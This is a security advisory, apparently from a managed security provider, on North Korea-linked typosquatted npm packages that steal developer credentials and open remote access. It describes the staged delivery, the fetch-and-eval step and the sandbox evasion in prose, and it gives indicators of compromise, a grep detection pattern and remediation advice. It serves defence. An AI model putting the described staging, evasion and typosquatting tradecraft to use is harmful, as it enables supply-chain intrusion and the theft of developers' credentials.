Security researchers at JFrog have identified two malicious npm packages, rollup-packages-polyfill-core and rollup-runtime-polyfill-core, that impersonate the legitimate rollup-plugin-polyfill-node project. The threat actors behind them have been linked to North Korea, and the packages are designed to enable remote access and steal developer credentials. (Source: The Hacker News)

The impersonation goes beyond a similar name. The fake packages copy the real project's description, repository metadata, and overall package shape, placing themselves in the same rollup, polyfill, core, and node naming space. During a quick dependency review, that lookalike positioning is easy to miss — which is exactly the point.

The campaign spans more than a handful of packages. Alongside the two primary lookalikes, JFrog identified four additional components now removed from the npm registry: quirky-token, react-icon-svgs, rollup-plugin-polyfill-connect, and swift-parse-stream. These are wired together in stages rather than acting alone.

The attack chain relies on hidden second-stage delivery. rollup-packages-polyfill-core installs and loads swift-parse-stream, while rollup-runtime-polyfill-core pulls in quirky-token. In parallel, react-icon-svgs installs rollup-plugin-polyfill-connect as its second stage. The second-stage packages present themselves as SVG utilities but fetch a JSON object from a JSONKeeper URL and run the eval of its model field.

Why this matters to your firm comes down to where Rollup plugins live. As JFrog notes:

Rollup plugins are commonly loaded from local configuration files, developer workstations, and CI jobs. These environments often have access to sensitive assets such as source code, npm tokens, Git credentials, cloud keys, SSH keys, browser data, and project secrets.

A single developer who installs one of these packages during routine dependency work becomes the entry point. Because the same credentials and tokens live on build machines, a compromised workstation can reach into CI/CD pipelines and downstream artifacts that every user of your software eventually receives.

How BeaverTail and OtterCookie Harvest Credentials from Development Environments

The attack chain begins with a Base64-encoded npm install command hidden inside the first-stage packages. When you install rollup-packages-polyfill-core or rollup-runtime-polyfill-core, that concealed command silently pulls in a second-stage package — swift-parse-stream or quirky-token, respectively. A parallel chain runs through react-icon-svgs, which installs rollup-plugin-polyfill-connect as its own second stage.

The second-stage packages present themselves as SVG sanitization utilities. In practice, they reach out to a JSONKeeper URL, fetch a JSON object, and eval the contents of the model field. That eval call is the pivot point where remote code becomes execution on the host. For a development team, this means a routine dependency install runs attacker-controlled code before anyone opens the package.

Before doing anything noisy, the fetched JavaScript runs environment checks. It refuses to execute inside cloud development environments, sandboxes, serverless runtimes, and analysis infrastructure. This conditional execution is a deliberate evasion tactic — automated scanners and CI-based detonation environments see benign behavior, while a real developer workstation gets the full payload.

Past that gate, the malware installs its own dependencies and calls out to an external server at 216.126.236[.]244 to retrieve an encrypted JavaScript payload. The decrypted payload acts as a loader for additional scripts, which is where the remote access and collection features come online.

What the remote access stage does

Once the later stages run, the operator gains both interactive control and broad data collection. The payload supports:

• Interactive terminal sessions and arbitrary command execution on the compromised host
• Screenshot capture and process termination
• Windows-only input control — mouse movement, clicks, scrolling, keyboard presses, and hotkeys — using the @nut-tree-fork/nut-js package
• Theft of data from web browsers and cryptocurrency wallets
• Collection of files matching specific extensions
• Periodic clipboard capture

The use of @nut-tree-fork/nut-js for remote mouse and keyboard control was also seen in express-session-js, documented by SafeDep in April 2026, and the feature set overlaps with OtterCookie. That overlap is what ties this campaign to the same operational tooling used in prior Contagious Interview activity.

Files and secrets the collector targets

The file collector goes after the material that makes developer machines valuable. It specifically hunts editor history from Microsoft Visual Studio Code, Windsurf, and Cursor, plus configuration for developer and AI tooling — AWS, Microsoft Azure, Google Gemini, Anthropic Claude, Foundry, SSH, and Z shell (Zsh).

"These environments often have access to sensitive assets such as source code, npm tokens, Git credentials, cloud keys, SSH keys, browser data, and project secrets," JFrog noted in its write-up.

The reason developer workstations and build machines matter here is that they hold live credentials, not just files. API keys, SSH keys, wallet material, and cloud credentials pulled from a single engineer's laptop can grant access to source repositories, CI pipelines, and production cloud accounts. Because the harvested tokens are legitimate, subsequent access looks like normal authenticated activity rather than an intrusion.

For incident responders, the network callback to 216.126.236[.]244, the JSONKeeper fetch-and-eval pattern, and the presence of @nut-tree-fork/nut-js in an npm dependency tree are the clearest indicators that this chain executed on a host.

Business and Operational Impact Across Development and Cloud Infrastructure

The most immediate business exposure here isn't the malware itself—it's what the stolen credentials unlock. This campaign's file collector specifically targets configuration files for AWS, Microsoft Azure, Google Gemini, Anthropic Claude, Foundry, SSH, and Zsh, along with editor history from Visual Studio Code, Windsurf, and Cursor. If your developers keep any of these credentials on their workstations, an infected package hands attackers the same access your engineers use every day.

For software development organizations, the concern extends past the individual laptop. JFrog notes that Rollup plugins load from local configuration files, developer workstations, and CI jobs—environments that routinely hold source code, npm tokens, Git credentials, cloud keys, and project secrets. If malicious code reaches a released product, every customer who installs it inherits the compromise, and you inherit the disclosure obligation.

These environments often have access to sensitive assets such as source code, npm tokens, Git credentials, cloud keys, SSH keys, browser data, and project secrets.

If you run a cryptocurrency or DeFi platform, the payload's browser data and wallet theft functions translate directly into financial loss. Stolen session tokens and API keys let an attacker authenticate as a legitimate user, meaning account takeover and unauthorized transactions can proceed without tripping password alerts. The clipboard capture function is particularly relevant to your users: attackers can read wallet addresses and seed phrases as they're copied. Once wallet material leaves your environment, there's no chargeback and no recovery.

Cloud service operators face a different calculus. A single harvested AWS or Azure credential can grant persistent access to production infrastructure, data stores, and customer records. Because the malware provides interactive terminal sessions and command execution, an attacker isn't limited to a smash-and-grab—they can move through your environment, read databases, and establish additional footholds using access that looks legitimate to your monitoring. One exposed cloud credential can expose the data of every customer that account touches.

The regulatory exposure follows the data. If customer records leave your environment, breach notification laws in most jurisdictions require you to disclose within defined windows, and GDPR carries financial penalties for the loss of personal data. For platforms that maintain SOC 2 attestation, a credential-theft incident on developer or build systems can surface as a control failure during your next audit—the kind of finding that affects contracts with enterprise customers who require that attestation.

What makes this campaign expensive to clean up is the breadth of what an attacker collects. Because the payload harvests developer credentials, cloud tokens, SSH keys, and wallet material in one pass, you can't assume the damage stops at one system. If any of these packages ran on your machines, you should treat every credential present on those hosts as compromised. Rotating a single API key won't close the door when the attacker already pulled your SSH keys and cloud credentials in the same session.

The practical cost is measured in engineering hours spent rotating secrets across CI/CD pipelines, git repositories, and cloud accounts, plus the downtime while you verify that no contaminated code shipped and no unauthorized access remains. For a small development team, that work can consume days and pull senior engineers off delivery. For a platform holding customer funds or personal data, the same incident carries notification duties and audit consequences on top.

Detecting Malicious npm Packages and Identifying Compromised Developer Systems

Start by searching every developer workstation, build agent, and CI pipeline for the twelve package names tied to this campaign. Run a recursive grep across all package-lock.json, package.json, and npm audit logs for the first- and second-stage names: rollup-packages-polyfill-core, rollup-runtime-polyfill-core, swift-parse-stream, quirky-token, react-icon-svgs, and rollup-plugin-polyfill-connect.

A pattern like grep -rEl "rollup-(packages|runtime)-polyfill-core|swift-parse-stream|quirky-token|react-icon-svgs" . across your repository roots surfaces most infected manifests. Extend the same search to the broader supply-chain cluster disclosed alongside this campaign — security-alerts-sdk, events-runtime, o3forms, and the trojanized pyrogram forks — since a single compromised developer often pulls more than one poisoned dependency.

On any machine where a match appears, assume the credential-theft payload ran. Block outbound traffic to the known egress hosts 216.126.236[.]244 and 142.93.211[.]30:5000 at your firewall or DNS layer, then hunt for the install-time behaviors that give this activity away.

• Anomalous child processes spawned by npm install or postinstall hooks reaching out to JSONKeeper or JSON Keeper URLs.
• Presence of the @nut-tree-fork/nut-js package, which the payload uses for remote mouse, keyboard, and screenshot control on Windows hosts.
• Access to editor history and configuration files for VS Code, Windsurf, and Cursor, or reads of cloud and AI tool credentials outside normal developer workflows.

In environments Capstone manages, SentinelOne flags the postinstall script execution and the unexpected network callbacks this loader generates on developer endpoints, catching the behavior before the interactive remote-access stage runs.

Protect

Once you have isolated infected systems, rotate every credential those machines could reach — npm tokens, GitHub and Git credentials, SSH keys, AWS and Azure keys, and any API keys for Gemini, Claude, or Foundry stored in local config. Treat cryptocurrency wallet material and browser-saved credentials on those hosts as exposed and move funds or reset logins accordingly.

This week, tighten what your developers are allowed to install. Move to an npm allow-list or an internal proxy registry so packages outside an approved set are blocked, and add rules that flag typosquatting variants in the rollup and polyfill namespace. Enforce MFA on all developer accounts, npm publishing accounts, and cloud service consoles so a stolen token alone does not grant access.

Adlumin monitors authentication patterns across managed environments and surfaces logins from stolen developer credentials — the anomalous sessions that follow a token theft like this one — before an attacker pivots into your cloud tenants or source repositories.

Detect and Recover

Review git commit history and build artifacts on affected repositories for injected dependencies or modified lockfiles, since the second-stage packages here were pinned outside the registry specifically to slip past registry-side and CI scanning. Enable dependency scanning in your CI/CD pipelines to flag newly published or low-reputation packages before they reach a build.

For longer-term hardening, deploy EDR across all developer workstations and build machines, implement code signing on every release so tampered artifacts fail verification, and segment development networks from production so a compromised laptop cannot reach live systems.

"Rollup plugins are commonly loaded from local configuration files, developer workstations, and CI jobs," JFrog said. "These environments often have access to sensitive assets such as source code, npm tokens, Git credentials, cloud keys, SSH keys, browser data, and project secrets."

After cleanup, rebuild affected workstations from known-good images rather than removing the packages alone, because the payload installs additional loaders and dependencies that a manifest cleanup will not remove. Confirm all rotated credentials are in use and the old ones are revoked before returning a machine to production work.

Lazarus Attribution and Targeting of Cryptocurrency and Cloud-Native Organizations

JFrog attributes this campaign to North Korea based on a combination of code structure, payload behavior, and infrastructure patterns that match documented Lazarus npm activity. The multi-stage delivery — a benign-looking first package that silently pulls a disguised second-stage utility, which then fetches and executes a remote JavaScript payload — is a signature the group has reused across several waves of package poisoning.

The strongest technical link is functional overlap with OtterCookie. The final-stage payload here shares its remote-control and data-collection feature set with that malware family, and both rely on the @nut-tree-fork/nut-js package for programmatic mouse and keyboard control. That same automation library appeared in express-session-js, an npm package SafeDep documented in April 2026, tying these packages into the same tooling lineage rather than a coincidental reuse.

This is not the first Rollup impersonation from the group. In April 2026, Panther described a sustained campaign of 108 malicious npm packages across 261 versions delivering BeaverTail and OtterCookie — both tied to Contagious Interview, North Korea's developer-focused social engineering operation. One of those packages, rollup-plugin-polyfill-route, was published on March 20, 2026. The current packages continue that naming convention, occupying the same rollup/polyfill/core/node namespace to blend into a plausible dependency list.

"This layered structure, together with the lookalike names, legitimate-looking metadata, hidden install-time execution, environment checks, and credential-theft/remote-access payloads, is similar to previous North Korean Lazarus-linked npm campaigns." — JFrog

The targeting logic explains the effort. Cryptocurrency exchanges and DeFi platforms employ developers who hold wallet material and private keys on their workstations, and the payload specifically hunts cryptocurrency wallet data. For a state actor whose funding goals include crypto theft, a compromised developer laptop is a direct route to signing keys and exchange infrastructure.

The file collector's target list shows the same reconnaissance-driven thinking. It reaches for developer and AI tool configurations rather than generic documents — cloud provider credentials, SSH keys, and API tokens for the platforms engineers actually work in. That selection reflects prior study of how modern development teams structure their environments.

Several TTPs mark this as a deliberate, state-level operation rather than opportunistic crimeware:

• Typosquatting plus metadata cloning — copying description, repository metadata, and package shape from a real project, so the fake survives a quick manual dependency review.
• Environment-aware execution — the JavaScript checks for cloud development environments, sandboxes, serverless runtimes, and analysis infrastructure before running, so automated scanners see nothing and only real workstations get the payload.
• Staged infrastructure — a JSONKeeper URL as an intermediate fetch point and the external server at 216.126.236[.]244 for the encrypted payload, keeping the malicious code off the registry itself.
• Combined collection and control — the loader enables interactive terminal sessions, command execution, and screenshot capture alongside credential theft, so a single install yields both data and hands-on access.

For cloud-native organizations, the practical consequence is that these credentials carry the permissions your engineers use daily. A stolen npm token, Git credential, or cloud key lets an attacker act as a trusted developer inside your build systems, which complicates detection because the activity uses legitimate access. Treating this as a targeted state campaign — not a stray malicious package — sets the correct scope for how far the compromise may reach.

Preventing Future Attacks on Development Supply Chains

The strongest single defense against this class of attack is package allow-listing in your build pipeline. Rather than permitting your CI jobs to pull any dependency npm resolves, maintain an explicit list of approved packages and versions. When a first-stage package silently tries to install a disguised second-stage dependency, an allow-list blocks the resolution before code ever runs. This directly counters the layered install-time execution pattern used across these campaigns.

Once allow-listing is in place, the following structural controls close the remaining gaps.

At the identity layer, credential theft is the payoff for every package in this cluster, so treat any developer token or key as a monitored asset. Adlumin ITDR tracks authentication behavior across managed environments, surfacing anomalous use of npm tokens, cloud keys, and SSH credentials after they leave a compromised workstation — the exact material these payloads collect and exfiltrate.

Registry-level hardening reduces exposure before packages reach you:

• Enable npm two-factor authentication on every maintainer account you control, and require it for publishing so a stolen credential alone cannot push a poisoned version.
• Adopt package signing and provenance where your registry supports it, so consumers can verify a package was built from the source it claims.
• Push registries to flag typosquatting variants — names that crowd the same namespace as a legitimate project, as seen when a fake package sits one token away from the real one.

Organization-level controls harden the build and review process:

• Commit and enforce package-lock.json, and pin exact versions so a newly published malicious release cannot slip in under a caret range.
• Require human code review for every new dependency, not just first-party code. A reviewer who checks the publisher, publish date, and download history catches packages published days ago with no history.
• Run SBOM scanning against your builds so you can answer, within minutes, which projects pulled a flagged package once an advisory drops.
• Disable install-time scripts by default where feasible with npm install --ignore-scripts, since the postinstall hook is where hidden execution starts.

For developers, the practical habits matter most:

• Run npm audit and a scanner such as Snyk or Socket as a required CI/CD gate, configured to fail the build on newly published or high-risk packages rather than only known CVEs.
• Before adding a dependency, read the actual package name against the project you intend to use. The gap between a real Rollup plugin and a lookalike core package is a single glance during dependency review.
• Isolate development work in containers or dedicated VMs so cloud keys, wallet material, and editor history are not sitting on the same host that runs untrusted install scripts.

Static and lifecycle-script scanning alone is not enough here. As AWS researcher Chi Tran noted, attackers deliberately split the malicious logic away from the registry-published package:

"The attacker split the attack into a deliberately benign, registry-published package and a GitHub-pinned *-utils sub-dependency that carries both the install hooks and the actual malware. This structure is designed specifically to defeat the static and lifecycle-script scanning that most registry-side and CI-side tooling relies on."

That design means your scanning must follow dependencies to their pinned Git sources, not stop at the registry manifest.

On threat intelligence, subscribe to npm security advisories and the write-ups from JFrog, Checkmarx, and SafeDep that track these clusters. The reuse of install-time hooks, JSON dead-drop resolvers, and the same data-collection feature set across separate campaigns means recognizing the pattern lets you block the next variant before an advisory names it. Feed the malicious egress endpoints from each disclosure into your outbound blocking so a compromised host cannot reach its payload server.

Key Actions for Development and Security Teams

The most decision-relevant fact here is timing: if any of these packages reached a developer workstation or build agent, the access is already live. This campaign runs on install-time execution and remote control, so the window between installation and credential theft is measured in the time it takes npm install to finish, not in days or weeks.

For development teams, the immediate task is to confirm whether the twelve campaign packages ever resolved in your projects, then treat any token those projects touched as exposed. Rotation is not optional cleanup — it is the only way to sever the access the payload already established. Prioritize the credentials this cluster is built to harvest:

• Source and registry access — GitHub credentials, npm publish tokens, and Git credentials that let attackers push poisoned code downstream.
• Cloud and API keys — AWS, Azure, and the AI-tool configurations (Gemini, Claude, Foundry) the file collector explicitly hunts for.
• Cryptocurrency wallet material — the direct payoff for the DeFi and wallet-focused packages in the wider disclosure.

For security teams, the working assumption is that at least one developer machine may already be compromised. The payload supports interactive terminal sessions and clipboard capture, which means a token rotated on an infected host can be re-stolen the moment it is issued. Reset credentials only after you have confirmed the endpoint is clean, and coordinate rotation across GitHub, cloud providers, and API key stores rather than one system at a time.

The scope is worth stating plainly: North Korean operators are poisoning developer supply chains to reach cryptocurrency platforms and cloud infrastructure, using the trust developers place in familiar package names. Audit your npm dependencies and your developer-held credentials with that target set in mind.